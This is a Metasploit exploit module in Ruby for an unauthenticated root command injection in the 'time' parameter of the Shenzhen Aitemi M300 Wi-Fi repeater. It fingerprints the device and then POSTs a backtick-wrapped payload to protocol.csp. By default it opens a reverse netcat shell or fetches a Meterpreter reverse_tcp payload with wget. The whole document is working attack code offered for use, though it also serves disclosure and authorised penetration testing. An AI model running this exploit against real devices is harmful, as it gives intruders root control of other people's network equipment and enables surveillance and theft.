## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'digest' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)', 'Description' => %q{ This module exploits an unauthenticated remote command injection vulnerability in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability lies in the 'time' parameter of the time configuration endpoint, which is passed unsanitized to a shell command executed via the `date -s` mechanism. The injection executes with root privileges, without requiring authentication, reboot, or network reconfiguration. }, 'Author' => [ 'Valentin Lobstein' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'], ['CVE', '2025-34152'] ], 'Platform' => %(linux unix), 'Arch' => [ARCH_CMD, ARCH_MIPSBE], 'Payload' => { 'BadChars' => "\x60" }, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ], [ 'Linux Meterpreter MIPSBE (MAY crash HTTP worker)', { 'Platform' => 'linux', 'Arch' => [ARCH_CMD, ARCH_MIPSBE], 'DefaultOptions' => { 'FETCH_DELETE' => true, 'FETCH_COMMAND' => 'WGET', 'FETCH_WRITABLE_DIR' => '/tmp', 'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => '2025-08-07', 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end def check fingerprint_hits = [] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'favicon.ico') ) return CheckCode::Unknown('No response from target') unless res return CheckCode::Safe('favicon.ico not found') unless res.code == 200 hash = Digest::SHA256.hexdigest(res.body) if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee' print_good('Favicon hash matched – likely Aitemi M300 device') fingerprint_hits << 'favicon' end server_header = res.headers['Server'] if server_header&.start_with?('lighttpd/1.4.32') print_good("HTTP server version matched: #{server_header}") fingerprint_hits << 'httpd' end %w[index.html home.html].each do |page| res_html = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, page) ) next unless res_html&.code == 200 if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)') print_good("HTML fingerprint matched in #{page} – UI strings detected") return CheckCode::Appears('HTML language markers confirmed') end end if fingerprint_hits.any? return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}") end CheckCode::Unknown('No identifiable fingerprint found') end def exploit raw_payload = "`#{payload.encoded}`" encoded_payload = CGI.escape(raw_payload).gsub('+', '%20') send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'protocol.csp?'), 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}" ) end end